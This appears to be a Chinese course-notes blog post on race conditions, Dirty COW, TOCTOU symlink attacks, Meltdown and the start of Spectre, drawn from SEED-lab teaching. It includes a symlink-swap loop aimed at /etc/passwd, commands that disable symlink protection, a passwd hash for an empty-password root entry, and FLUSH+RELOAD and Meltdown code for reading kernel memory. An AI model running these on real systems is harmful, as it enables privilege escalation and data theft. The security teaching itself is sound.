竞态条件与 Spectre:并发漏洞与侧信道攻击

竞态条件与 Spectre:并发漏洞与侧信道攻击

周一 11月 03 2025 Course
19454 字 · 86 分钟

[迁移说明] 本文最初发布于 blog.zzw4257.cn,现已迁移并在本站进行结构化整理与增强。

Racing Condition 竞态条件漏洞

Eg. Withdraws in older banks

C
function withdraw($amount)
{
   $balance = getBalance();                  🅰
   if($amount <= $balance) {                 
       $balance = $balance - $amount;
       echo "您取出的金额:$amount";
       saveBalance($balance);                🅱
       // 然后命令取款机把钱给用户 (代码略去)
   }
   else {
       echo "对不起,您账上的钱不够。";
   }
}   

很显然上面这个代码有同步的问题,或者说更具体的,存在因为没有对并发线程不同顺序不同时间节资源访问的限制(如原子操作/spinlock或者更宽泛的说说锁),会发生竞态条件。

TOC-T-TOU

这个话题被放置在软件安全领域时,和计算机系统的同步问题略有差异。差异的核心是在于,硬件(寄存器)层面的同步问题,等待时间远超执行时间,或者说执行时间逻辑上不可利用。但在软件执行场景中的竞态利用中,检查时间和使用时间差不可忽略,也就是存在TOCTTOU(检查与使用时间差)漏洞。

DirtyCOW

Dirty COW(脏牛)是 Linux 内核中著名的写时复制(Copy-On-Write, COW)竞态条件漏洞(CVE-2016-5195)。它存在于内核对私有映射页执行 COW 复制的逻辑中。 正常情况下,进程以 MAP_PRIVATE 映射只读文件时,写操作会触发拷贝,修改仅影响私有副本;但内核在执行写操作的三个步骤——(A) 拷贝原页、(B) 更新页表指向新页、(C) 写入数据——之间缺乏原子性。如果另一线程在 B 与 C 之间调用 madvise(..., MADV_DONTNEED) 使页表指回原始物理页,则 C 步骤实际会把数据写入原页,从而直接修改了只读文件。攻击者借此可改写受保护文件(如 /etc/passwd),将普通用户 UID 改为 0 以获得 root 权限。

下面我们看一下一个演示代码

我们先梳理下关键syscall:

  • mmap 默认是映射虚拟内存区域到文件 map = mmap (
    • NULL,st.st_size(目标文件元信息,fstat(fd,&st)获取)
    • PROT_(内存是否为可读或者可写,一些常见的是O_RDWR可读可写->PROT_READ|PROT_WRITE,O_RDONLY->PROT_READ)
    • ,MAP_SHARED/PRIVATE,fd(映射的对象),offset(映射的文件位置偏移量)
    • ) ->void * mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);(需要 #include <sys/mman.h>
  • madvise:向内核提供关于内存使用的建议。int madvise(void *addr, size_t length, int advice);。在攻击中,madvise(…, MADV_DONTNEED) 被用来丢弃私有副本,如果时机恰当,可以使页表指回原始物理页,为写入原始文件创造条件。
C
/* Dirty COW 教学伪代码(**非可执行**,已移除危险操作)
   目的:用注释说明关键流程(mmap / MAP_PRIVATE / write -> COW / madvise)和竞态窗口,
   但**绝不**包含任何可直接用于修改受保护文件或提权的可运行代码。 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>

/* 全局映射指针 — 教学用来说明不同线程如何共享映射基址 */
void *map_area;

/* 说明:
   MADV_DONTNEED 线程在概念上用于丢弃私有拷贝,使页表回退到原始物理页。
   写线程在概念上通过 /proc/self/mem 或等价手段对映射区域写入,
   两者并发时在内核写时复制实现中存在竞态窗口(即 B 与 C 之间)。 */

/* madvise 线程(示意)—— **不要**在真实环境中反复运行此类循环去操纵系统内存 */
void *madvise_thread(void *arg) {
    size_t length = (size_t)arg;
    /* 教学意图:不断告诉内核“我不再需要这段私有页面”,
       如果在内核 COW 实现中存在竞态,这会制造页表回退(概念上) */
    for (int i = 0; i < 1000; ++i) { /* 有界循环,仅作示意 */
        /* 实际调用: madvise(map_area, length, MADV_DONTNEED); */
        /* 在安全示例中我们改为注释以避免不当使用 */
        /* madvise(map_area, length, MADV_DONTNEED); */
        sched_yield(); /* 让出 CPU,帮助理解线程切换,但不做实际攻击 */
    }
    return NULL;
}

/* 写线程(示意)—— **绝对不要**在真实系统上写入受保护文件或 /proc/self/mem */
void *write_thread(void *arg) {
    /* 教学意图:此线程尝试向映射区域“写入”某些内容,
       在真实利用中会用到 /proc/self/mem 或直接触发写导致 COW。 */
    char *dummy_position = (char *)arg;

    for (int i = 0; i < 1000; ++i) { /* 有界循环,示意并发写尝试 */
        /* *危险*:下面两行显示真实利用会做的动作 —— 我把它们注释掉以防滥用 */
        /* int fd = open("/proc/self/mem", O_RDWR); */
        /* lseek(fd, (off_t)dummy_position, SEEK_SET); write(fd, "xxx", 3); close(fd); */

        /* 安全替换:在本示例中,仅在本进程内模拟写操作(不影响底层文件) */
        /* 例如:在本地缓冲区拷贝演示写入动作 */
        /* memcpy(local_copy + offset, demo_data, demo_len); */

        sched_yield();
    }
    return NULL;
}

/* 主程序(教学示意) */
int main(int argc, char **argv) {
    struct stat st;
    int fd;

    /* --- 安全提示:下面不要在生产系统或带权限文件上运行 --- */
    /* 打开目标文件(示例中用一个普通的数据文件路径,绝不使用 /etc/passwd) */
    /* fd = open("safe_example_file.txt", O_RDONLY); */
    /* fstat(fd, &st); */
    /* map_area = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); */

    /* 为了教学,我们不实际做 mmap 到敏感文件,而是假设 map_area 已被映射 */
    map_area = (void*)0xDEADBEEF; /* 占位地址,仅作注解 */

    /* 查找目标字符串位置(示意)*/
    /* char *pos = strstr((char*)map_area, "target_string"); */

    /* 创建两个线程模拟并发(一个做 madvise、一个做写) */
    pthread_t t1, t2;
    size_t fake_length = 4096; /* 示意映射长度 */

    pthread_create(&t1, NULL, madvise_thread, (void*)fake_length);
    pthread_create(&t2, NULL, write_thread, (void*)NULL /* pos */);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);

    /* 清理(示意) */
    /* munmap(map_area, st.st_size); close(fd); */

    printf("教学示例结束 — 本示例不执行任何修改受保护文件的操作。\n");
    return 0;
}

/* 关键教学要点(中文注释总结):
   1) MAP_PRIVATE 映射会使用写时复制(COW)。写时复制的流程可抽象为:
        A: 分配新页并拷贝原页
        B: 更新页表指向新页
        C: 在新页上执行写入
      Dirty COW 存在的原因是 B 与 C 之间不是原子化的:如果在这段窗口内有别的线程/调用(例如 madvise(MADV_DONTNEED))
      把页表重新指回原始页,则随后的写操作可能在原始页上生效,从而修改底层只读文件。

   2) /proc/self/mem 的写入、对 mmap 映射页面的并发 madvise 调用,以及不受保护的无限循环组合,是常见的利用构件——此处全部被替换或注释以避免滥用。

   3) 学习目的应聚焦于理解竞态条件产生的原因与如何修复/防护,而非复现利用。修补通常通过内核层面的加锁、原子化页表更新,以及在用户态限制可疑对 /proc/self/mem 的写法来完成。
*/

Melt Down & Ghost Bug

竞态条件漏洞

Eg1

C
if (!access("/tmp/X", W_OK)) {
    /* the real user has the write permission*/
    f = open("/tmp/X", O_WRITE);
    write_to_file(f);
}
else {
   /* the real user does not have the write permission */
   fprintf(stderr, "Permission denied\n");
}

这是一个set-uid程序 普通用户执行这个程序,ruid不是root,euid是root,可以修改tmp其他用户文件,access则是确保ruid的修改权限。

注意到这个防护措施看似牢固,但是access检查一过,我们就有操作空间了。

(注意我们无权修改特权程序运行的内存)我们可以用slink软链接来实现这个攻击,/etc/X -> /etc/passwd

![[Pasted image 20251030103224.png]] 方法就是搞暴力,我们假定的预设前提实际上恶意程序执行时间远远小于TOCTTOU窗口,然后我们能够无损修复自己的恶意程序对我们攻击循环本身的影响(举例子,假设你没有在open完,下一次access开始前,把软链接改回去,那么你下次连循环都进不去了,所以在循环考察下还真不是一个进程塞进去就行了)

攻击成功的序列如下:

  1. 攻击进程 (A1): 将 /tmp/X 链接到一个攻击者拥有的文件(例如 /tmp/dummy)。
  2. 受害进程 (V1): 执行 access(“/tmp/X”, W_OK)。因为 /tmp/X 指向攻击者自己的文件,权限检查通过。
  3. 攻击进程 (A2): 迅速将 /tmp/X 改为链接到目标文件 /etc/passwd。
  4. 受害进程 (V2): 执行 open(“/tmp/X”, O_WRITE)。此时 /tmp/X 已经是 /etc/passwd 的符号链接,由于受害进程的 euid 是 root,open 调用成功,从而获得了对 /etc/passwd 的写权限。

Eg2

在往下走前我们先明确下,我们修改/etc/passwd的意义是在于添加uid=0的用户行,然后,能够使其获得root权限

C
file = "/tmp/X";
fileExist = check_file_existence(file);

if (fileExist == FALSE){
  // The file does not exist, create it.
  f = open(file, O_CREAT);

  // write to file
  ...
}

O_CREAT的一个副作用是我们需要充分利用的,当指定文件存在,低通调用不会失败,我们同样在fileExist检查和open之间做替换则也可以用root权限写passwd

完整例子

C
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main()
{
   char * fn = "/tmp/XYZ";
   char buffer[60];
   FILE *fp;

   /* get user input */
   scanf("%50s", buffer);

   if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
   }
   else printf("No permission \n");
     
   return 0;
}

access() 和 fopen() 之间有竞态条件问题 是选设置set-uid

BASH
sudo chown root vulp
sudo chmod r--rwxr-x[s]r-x vulp

也就是经典的root-4755协同

接着关闭符号连接保护措施

BASH
// Ubuntu 20.04 虚拟机里用下面的命令:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0

// 在Ubuntu 16.04 虚拟机里用下面的命令:
$ sudo sysctl -w fs.protected_symlinks=0

接着考虑正常的passwd表项

PLAINTEXT
root:x:0:0:root:/root:/bin/bash

假设我们插一个超级用户with x我们需要改shadow 这里实际上有一个很有趣的点,密码字段保存的不是真实的用户密码,而是密码的哈希值。

有趣的是我们直接使用 U6aMy0wojraho 这个神秘的哈希值,其会被当做一个 回车 的密码哈希值

具体对攻击和监控的部分比较简单,直接给代码

C
 while(1) {
     unlink("/tmp/XYZ");                       
     symlink("/dev/null", "/tmp/XYZ");   
     usleep(1000);

     unlink("/tmp/XYZ");                       
     symlink("/etc/passwd", "/tmp/XYZ");       
     usleep(1000);
   }
//...
	CHECK_FILE="ls -l /etc/passwd"
	while ["$old" == "$new"]
	do
		./vulp < passwd_input
		new=$($CHECK_FILE)

有些时候 /tmp/XYZ莫名其妙所有者变成root,那么seed权限的攻击程序无法删除/unlink文件,因为其设置了stricky位(即删除操作和可写分离)

问题细探(竞态问题的相互性)

unlink() 和 symlink() 是两个独立的系统调用,这意味着修改符号链接的操作不是原子操作。 ![[Pasted image 20251030104806.png]]

一句话来说我们程序本身也存在一个竞态窗口:

  1. 攻击进程: 执行 unlink(“/tmp/XYZ”)。
  2. 受害进程: (恰好在此刻被调度)执行 fopen(“/tmp/XYZ”, “a+”)。由于文件 /tmp/XYZ 不存在,fopen 会创建一个新的文件。因为受害进程的 euid 是 root,新创建的 /tmp/XYZ 文件的所有者将是 root。
  3. 攻击进程: 之后无法再 unlink 或修改这个由 root 拥有的文件,攻击失败。

解决方法是使用 renameat2 系统调用,它可以用 RENAME_EXCHANGE 标志来原子性地交换两个路径名。

PLAINTEXT
int renameat2(int olddirfd, const char *oldpath,
              int newdirfd, const char *newpath, 
              unsigned int flags);

可以对标下

C
unsigned int flags = RENAME_EXCHANGE;

   unlink("/tmp/ABC"); unlink("/tmp/XYZ"); 

   symlink("FileOne", "/tmp/ABC");                  🅰 
   symlink("FileTwo", "/tmp/XYZ");                  🅱 

   sleep(10);
   renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);  🅲 
   sleep(10);
   renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);  🅳 

防御措施

原子操作

和硬件一样,上锁/加更复杂的同步约束,这里不过多赘述

对最早的例子

我们用

PLAINTEXT
f=open("/tmp/X", O_WRITE | O_REAL_USER_ID);

直接丢掉access,然而O_REAL_USER_ID并不存在

叠加竞态条件

之前我们竞态获胜的方式是卡位,我们要求必须均卡位成功(且连续)即可大大减少成功率

可以看下面这个例子

C
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
   struct stat stat1, stat2, stat3;
   int fd1, fd2, fd3;

   if (access("/tmp/XYZ", O_RDWR)) {
      fprintf(stderr, "Permission denied\n");
      return -1;
   }                                     🢀 第一个窗口
   else fd1 = open("/tmp/XYZ", O_RDWR);
                                         🢀 第二个窗口
   if (access("tmp/XYZ", O_RDWR)) {
      fprintf(stderr, "Permission denied\n");
      return -1;
   }                                     🢀 第三个窗口
   else fd2 = open("/tmp/XYZ", O_RDWR);
                                         🢀 第四个窗口
   if (access("/tmp/XYZ", O_RDWR)) {
      fprintf(stderr, "Permission denied\n");
      return -1;
   }                                     🢀 第五个窗口
   else fd3 = open("/tmp/XYZ", O_RDWR);

   fstat(fd1, &stat1);
   fstat(fd2, &stat2);
   fstat(fd3, &stat3);
 
   // 比较三个打开文件的 i-node,看它们是不是同一个文件。
   if(stat1.st_ino == stat2.st_ino && stat2.st_ino == stat3.st_ino) {
      write_to_file(fd1);

   else { // 不是同一个文件。
      fprintf(stderr, "Race condition detected\n");
      return -1;
   } 
   return 0;
}

linux中文件目录有一个特殊比特叫做粘滞位比特,对删除/重命名做了特殊的约束,实际上大部分竞态条件与/tmp下的符号连接有关。

PLAINTEXT
$ sudo sysctl -w fs.protected_symlinks=1

开启之后全局可写的粘性目录下的符号链接只能在符号链接的所有者和跟随者和目录所有者的其中之一相匹配时才能被跟随

也就是说,假设符号链接的所有者(攻击者实际具有的权限)和 [eUID(跟随者)以及目录所有者]均不同的时候我们可以自然屏蔽攻击

在我们的攻击场景中:

  • 跟随者 (euid): root (受害程序)
  • 目录所有者 (/tmp): root
  • 符号链接所有者: seed (攻击者)

由于符号链接的所有者 seed 与跟随者 root 和目录所有者 root 均不匹配,当 fs.protected_symlinks=1 时,内核会阻止 root 权限的程序跟随这个由普通用户创建的符号链接,fopen 调用会失败,攻击被阻止。

最小权限原则

本质是我们给予了程序需要做的事情过分大的权限,也就是没有最小权限执行

seteuid() 和 setuid() 来让程序永久或暂时放弃其权限

C
 uid_t real_uid = getuid();  // 得到真实用户ID
 uid_t eff_uid  = geteuid(); // 得到有效用户ID

 seteuid (real_uid);     🢀 临时关掉 root 权限 

 f = open("/tmp/X", O_WRITE);
 if (f != -1)
     write_to_file(f);
 else
    fprintf(stderr, "Permission denied\n");

 seteuid (eff_uid); // 如有需要,再打开 root 权限 

论:为什么此方法对竞态条件有效,而对缓冲区溢出无效?

  • 竞态条件攻击:攻击者只是操纵外部文件系统,其自身的代码不会被执行。因此,一旦受害程序临时放弃了 root 权限,open() 调用就会因为权限不足而失败,攻击者无法恢复权限。
  • 缓冲区溢出攻击:攻击者将自己的恶意代码(shellcode)注入到受害程序的内存中并使其获得执行。即使在调用易受攻击的函数前暂时放弃了权限,攻击者的代码一旦执行,就可以自己调用 seteuid(0) 来恢复 root 权限(因为保存的用户 ID 仍然是 root),然后继续搞破坏。因此,临时禁用权限对代码注入类攻击是无效的。

Meltdown & Spectre 漏洞

2017 年,人们发现包括英特尔和 ARM 在内的许多现代处理器都容易受到名为熔断(Meltdown)的攻击。该漏洞允许用户级程序读取内核内存中存储的数据,从而导致数据泄露。该漏洞是 CPU 设计上的缺陷。 熔断和幽灵攻击都利用 CPU 缓存作为侧信道窃取受保护数据,其中采用的技术称为 FLUSH+RELOAD。

我们先从Meltdown开始

Meltdown 原理理解

从比方出发

假设你身处一个没有窗户的房间,房外有三盏灯,由房内的三个开关控制。你只能离开房间一次,如何确定哪个开关对应哪盏灯?

常规思路(“开”与“关”两种状态)无法解决问题。解法的关键在于利用灯泡的物理特性,创造出第三种状态。你可以:

  1. 打开开关A,等待几分钟。
  2. 关闭开关A,然后打开开关B。
  3. 立即离开房间。

此时,三盏灯分别处于三种可区分的状态:

  • 亮着的灯:对应开关B。
  • 熄灭但温热的灯:对应开关A。
  • 熄灭且冰冷的灯:对应开关C。

“温度”就是一个侧信道 (Side Channel),它泄露了开关A之前的操作历史,即使其当前状态(“关”)与开关C相同。

升级一下

一个存放着重要密码的房间(内核空间)只允许最高权限者进入。一个严格的守卫(CPU访问控制逻辑)负责检查权限。有趣的是,为了提高效率,守卫会让你先进入房间,在你观察密码的同时,他才开始检查你的证件。

如果检查通过,你就可以从容记下密码离开。 如果检查失败,你会被立刻赶出房间,守卫还会用“记忆消除器”让你忘掉看到的一切(回滚操作结果),并把房间内的一切恢复原状。

你无法通过常规渠道带出信息。但房间里有256个开关,分别控制室外的256盏灯。你在被赶走前,根据你看到的密码的第一个字节的数值(例如是83),迅速打开第83号开关。虽然你离开后记忆被清除,开关也被守卫重置了,但你外面的同伙可以通过触摸灯泡,发现第83号灯泡是温热的。

这样,尽管直接的记忆(寄存器状态)被清除了,但操作留下的物理痕迹(CPU缓存)却泄露了秘密。

一言以蔽之,CPU的缓存/分支预测等机制让非法访问者能够在被抹除记忆的情况下进行对敏感信息的“临时访问”,尽管这个访问本身不能被存档,但通过类似温度的侧信道我们能够复原这些记忆,泄漏秘密。

  • 机密房间 -> 内核空间
  • 守卫的权限检查 -> CPU的内存保护机制
  • 先进入房间再等待结果 -> CPU的乱序执行 (Out-of-Order Execution)
  • 记忆被消除 -> 指令被撤销,计算结果被丢弃
  • 灯泡的余温 -> CPU缓存留下的痕迹

基于CPU缓存的侧信道

现代CPU为了弥补主存(RAM)与CPU之间的速度鸿沟,设计了高速缓存(CPU Cache)。访问缓存中的数据远快于访问主存。这个访问时差就是熔断攻击的“灯泡温度”,是构建侧信道的基础。

我们将使用一种名为 FLUSH+RELOAD 的经典缓存侧信道技术。

首先我们可以写c轻松感知hit 和 miss的时间差异

C
/* CacheTime.c - 演示缓存命中与未命中的时间差异 */
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
    int junk=0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i;

    // 1. 初始化数组
    for(i=0; i<10; i++) array[i*4096]=1;

    // 2. 将数组所有元素从缓存中清空 (FLUSH)
    for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

    // 3. 访问其中两个元素,使其被加载进缓存
    array[3*4096] = 100;
    array[7*4096] = 200;

    // 4. 依次测量访问每个元素的耗时
    for(i=0; i<10; i++) {
        addr = &array[i*4096];
        time1 = __rdtscp(&junk);         // 读取时间戳计数器
        junk = *addr;
        time2 = __rdtscp(&junk) - time1; // 计算时间差
        printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
    }
    return 0;
}
  • array[10*4096]:我们让数组元素的间隔为4096字节(一个内存页的大小),以确保它们映射到不同的缓存行,避免干扰。
  • _mm_clflush(&address):这是一个x86指令,用于将指定地址所在缓存行从所有级别的CPU缓存中驱逐出去。
  • __rdtscp():读取CPU的时间戳计数器(TSC),可以精确地测量CPU周期数。
BASH
$ gcc -march=native CacheTime.c
$ ./a.out
Access time for array[0*4096]: 50 CPU cycles
Access time for array[1*4096]: 172 CPU cycles
Access time for array[2*4096]: 160 CPU cycles
Access time for array[3*4096]: 22 CPU cycles
Access time for array[4*4096]: 160 CPU cycles
Access time for array[5*4096]: 160 CPU cycles
Access time for array[6*4096]: 152 CPU cycles
Access time for array[7*4096]: 24 CPU cycles
Access time for array[8*4096]: 160 CPU cycles
Access time for array[9*4096]: 160 CPU cycles

现在,我们利用FLUSH+RELOAD技术来传递一个字节的秘密值 secret。
该技术包含三个关键步骤:

  1. FLUSH (清空): 准备一个大小为 256 * 4096 的探测数组 probe_array。在获取秘密前,使用 _mm_clflush 将整个探测数组从缓存中清空。
  2. ACCESS (访问): 读取秘密值 secret (0-255),并用它作为索引去访问探测数组中的一个特定元素:probe_array[secret * 4096]。这个操作会使这一个、且仅有这一个元素被加载到CPU缓存中。
  3. RELOAD (重载): 遍历整个探测数组,测量访问每一个元素的耗时。耗时最短的那个元素,其索引值就是我们想要获取的秘密值 secret。
C
/* FlushReload.c - 使用FLUSH+RELOAD窃取一个字节的秘密 */
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>

#define CACHE_HIT_THRESHOLD (80) // 缓存命中的时间阈值
#define DELTA 1024

uint8_t array[256*4096];
unsigned char secret = 94;
int temp;

// 1. FLUSH: 清空探测数组
void flushSideChannel() {
    int i;
    // 初始化数组以确保物理内存被分配
    for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
    // 将数组从缓存中刷新
    for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

// 2. ACCESS: 用秘密值访问探测数组
void getSecret() {
    temp = array[secret*4096 + DELTA];
}

// 3. RELOAD: 检测哪个元素被缓存
void reloadSideChannel() {
    int i;
    int junk=0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;

    for(i = 0; i < 256; i++){
        addr = &array[i*4096 + DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 <= CACHE_HIT_THRESHOLD){
            printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
            printf("The Secret = %d.\n",i);
        }
    }
}

int main(int argc, const char **argv) {
    flushSideChannel();
    getSecret();
    reloadSideChannel();
    return (0);
}```

**编译与执行**
```bash
$ gcc -march=native FlushReload.c
$ ./a.out
array[94*4096 + 1024] is in cache.
The Secret = 94.

前面的例子只是窃取了程序自身的变量,并无实际危害。真正的目标是内核空间 (Kernel Space) 这个存放着操作系统所有秘密的“房间”。

在主流操作系统中,内存被分为用户空间和内核空间。处理器通过特权级(如x86的Ring 0-3)来隔离两者。用户程序(Ring 3)无法直接访问内核内存(Ring 0),任何此类尝试都会触发一个硬件异常,导致程序崩溃(Segmentation Fault)。

C
/* MeltdownKernel.c - 一个用于熔断攻击实验的内核模块 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/vmalloc.h>
#include <asm/uaccess.h>

static char secret[8] = {'S', 'E', 'E', 'D', 'L', 'a', 'b', 's'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;

// proc文件被读取时调用此函数
static ssize_t read_proc(struct file *filp, char *buffer, size_t length, loff_t *offset) {
    // 关键:访问了内核中的'secret'变量,这将导致它被加载到CPU缓存。
    memcpy(secret_buffer, &secret, 8);
    // 注意:我们没有向用户空间返回任何数据,避免了直接泄露。
    return 0;
}

static const struct file_operations test_proc_fops = {
    .owner = THIS_MODULE,
    .read  = read_proc,
};

static int __init test_proc_init(void) {
    // 创建一个8字节的内核缓冲区
    secret_buffer = (char*)vmalloc(8);
    // 在/proc下创建一个名为secret_data的文件
    secret_entry = proc_create_data("secret_data", 0444, NULL, &test_proc_fops, NULL);
    // 将'secret'的内核地址打印到内核日志中,供攻击者查看
    printk("secret data address:%p\n", &secret);
    return 0;
}

static void __exit test_proc_cleanup(void) {
    remove_proc_entry("secret_data", NULL);
    vfree(secret_buffer);
}

module_init(test_proc_init);
module_exit(test_proc_cleanup);
MODULE_LICENSE("GPL");

编译并加载该模块(insmod MeltdownKernel.ko)后,通过 dmesg | grep ‘secret data address’ 可以获得秘密数据在内核中的地址。读取 /proc/secret_data 文件则会将此秘密加载到缓存中。

直接在用户程序中解引用内核地址会触发硬件保护机制,导致段错误(Segmentation Fault),进程崩溃。

C
#include <stdio.h>
int main() {
    // 假设从 dmesg 得到地址 0xfb61b000
    char *kernel_data_addr = (char*)0xfb61b000; 
    char kernel_data = *kernel_data_addr; // 访问违规,触发异常
    printf("I have reached here.\n"); // 此行永远不会执行
    return 0;
}

这证明了“守卫”(内存保护)是有效的。

为了在触发段错误后程序能继续执行,我们需要捕获 SIGSEGV 信号。C语言中可以通过 sigsetjmp 和 siglongjmp 来实现类似 try-catch 的机制。

ExceptionHandling.c - 捕获段错误

C
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>

static sigjmp_buf jbuf;

static void catch_segv() {
    // 当SIGSEGV发生时,跳转回 sigsetjmp 设置的检查点
    siglongjmp(jbuf, 1);
}

int main() {
    unsigned long kernel_data_addr = 0xfb61b000;
    
    // 注册信号处理函数
    signal(SIGSEGV, catch_segv);

    // 设置一个检查点,首次调用返回0
    if (sigsetjmp(jbuf, 1) == 0) {
        // 这行代码将触发SIGSEGV
        char kernel_data = *(char*)kernel_data_addr; 
        printf("Kernel data ... is: %c\n", kernel_data); // 不会执行
    } else {
        // 从 siglongjmp 跳转回来后,sigsetjmp 返回非0值,执行此分支
        printf("Memory access violation!\n");
    }

    printf("Program continues to execute.\n");
    return 0;
}

程序输出 “Memory access violation!” 和 “Program continues to execute.”,表明我们成功捕获了异常,程序没有崩溃。这是攻击能循环进行的前提。

Meltdown漏洞的核心:现代高性能CPU为了提升效率,会采用乱序执行(Out-of-Order Execution)。当遇到一条耗时较长的指令(如从主存加载数据)时,CPU不会原地等待,而是会继续向后“推测性地”执行后续不相关的指令。

考虑以下伪代码:

C
// 1. 触发访问违规,耗时长(因为要检查权限)
kernel_data = *kernel_address; 

// 2. 依赖于上面结果的指令
array[kernel_data * 4096] += 1;

在微架构层面,CPU的执行步骤是:

  1. CPU开始执行第一行,请求加载 kernel_address 的数据。这是一个内核地址,需要进行权限检查。
  2. 权限检查相对较慢。在等待检查结果时,乱序执行引擎会假设检查会通过,并提前执行第二行代码。
  3. 因此,CPU会使用从 kernel_address 推测性加载出来的值(比如是字符 ‘S’ 的ASCII码 83),去访问 array[83 * 4096]。这个访问操作会把 array 的第83个元素加载到CPU缓存中。
  4. 不久之后,权限检查完成并报告失败。
  5. CPU意识到推测错误,于是丢弃所有推测执行的结果(kernel_data 的值不会被写入寄存器,array 的内存值也不会真的被修改),并将程序状态回滚到访问违规之前,然后触发 SIGSEGV 异常。

致命的设计缺陷:CPU在回滚状态时,清除了寄存器和内存的修改,但忘记清除CPU缓存的状态array[83 * 4096] 已经被加载到缓存中,这个痕迹(“灯泡的余温”)被保留了下来。

我们将上述所有技术组合起来:

  1. 准备:清空探测数组的缓存 (FLUSH)。
  2. 触发:在一个受异常处理保护的代码块中,尝试读取内核秘密地址,并立即用该秘密作为索引访问探测数组。
C
void meltdown(unsigned long kernel_data_addr) {
    char kernel_data = 0;
    // 以下语句将触发异常,但在异常发生前会被乱序执行
    kernel_data = *(char*)kernel_data_addr;
    array[kernel_data * 4096 + DELTA] += 1;
}
  1. 恢复:SIGSEGV 发生,siglongjmp 跳转到恢复点,程序继续执行。
  2. 探测:测量探测数组所有元素的访问时间 (RELOAD),找出哪个元素的访问时间最短,其索引就是泄露的内核秘密字节。
  3. 优化
    • 缓存预载:在攻击前,通过读取 /proc/secret_data 接口,确保内核秘密数据本身已在缓存中,这会加速乱序执行时的数据加载,提高攻击成功率。
    • 汇编优化:在访问内核地址前,插入一些无关的汇编指令来“占用”执行单元,为乱序执行创造更有利的时间窗口。
    C
    asm volatile(  
            ".rept 400;"  
            "add $0x141, %%eax;"  
            ".endr;"  
            : : : "eax"  
        );
    • 统计方法:由于噪声干扰,单次攻击可能失败。通过成百上千次重复攻击,并用一个 scores 数组统计每个索引值(0-255)被命中的次数,得分最高的索引就是最可靠的秘密值。
C
#include <stdio.h>
// ... 包含 signal, setjmp, x86intrin.h 等头文件 ...

static int scores[256];
// ... 包含 flushSideChannel, reloadSideChannelImproved (带scores统计) ...
// ... 包含 meltdown_asm (带汇编优化) ...

int main() {
    // ... 获取内核秘密地址 kernel_addr ...
    
    int i;
    for (i = 0; i < 1000; i++) { // 重复攻击1000次
        // 预载内核秘密到缓存 (通过pread /proc/secret_data)
        
        // 清空探测数组
        flushSideChannel();
        
        // 触发漏洞
        if (sigsetjmp(jbuf, 1) == 0) {
            meltdown_asm(kernel_addr);
        }

        // 探测并统计结果
        reloadSideChannelImproved();
    }

    // 找出得分最高的索引
    // ... 逻辑 ...
    printf("The secret value is %d %c\n", max_score_index, max_score_index);
}

通过循环攻击,我们可以逐字节地、非常可靠地恢复出内核中的秘密字符串 “SEEDLabs”。

![[Pasted image 20251117010302.png]]

Spectre

幽灵攻击(Spectre)与熔断攻击(Meltdown)几乎同时被发现,它们都利用了现代处理器中的推测执行 (Speculative Execution) 机制来制造侧信道。然而,两者在攻击目标和原理上存在关键差异:

  • 攻击边界不同:Meltdown 主要用于打破用户态与内核态之间的隔离,允许用户程序读取内核内存。而 Spectre 的应用范围更广,它可以打破进程内的内存隔离,例如,在一个浏览器进程中,一段恶意的 JavaScript 代码可以利用 Spectre 窃取属于同一进程中其他网站的数据。它也可以用于跨进程攻击。
  • 利用机制不同:Meltdown 利用的是乱序执行中对权限检查的延迟。Spectre 利用的是分支预测 (Branch Prediction) 失败后的推测执行。

由于 Spectre 攻击的是进程内的安全边界(例如沙箱机制),这使得纯粹通过操作系统层面的修复(如KPTI)变得非常困难。

Spectre 攻击依赖于现代 CPU 的一项关键性能优化技术:分支预测

![[Pasted image 20251117011706.png]]

当 CPU 遇到一个条件分支指令(如 if 语句)时,它需要根据条件的结果来决定接下来执行哪段代码。然而,判断条件本身可能需要时间,例如,如果条件依赖于一个不在缓存中的内存变量 size,CPU 就需要等待数百个周期才能从主存中读取到它。

为了避免这种停顿,CPU 不会等待,而是会预测分支的结果,并推测性地沿着预测的路径继续执行代码。

C
1: data = 0;
2: if (x < size) {            // CPU 在此进行分支预测
3:    data = data + 5;       // 如果预测为真,推测性执行此行
4: }
  1. 分支预测器 (Branch Predictor):CPU 内部有一个硬件单元,它会记录每个分支指令过去的行为。如果一个 if 语句在过去100次执行中都为真,那么预测器就会大胆地预测下一次执行结果同样为真。

  2. 推测执行:基于预测,CPU 会继续执行 if 语句块内部的代码(如第3行)。所有这些操作的结果都是临时的,存放在内部的缓冲区中。

  3. 结果验证与提交/回滚:当 size 的值最终从内存中加载回来后,CPU 会验证其预测是否正确。

    • 预测正确:推测执行的结果被正式“提交”(commit),写入寄存器或内存。性能得到提升。

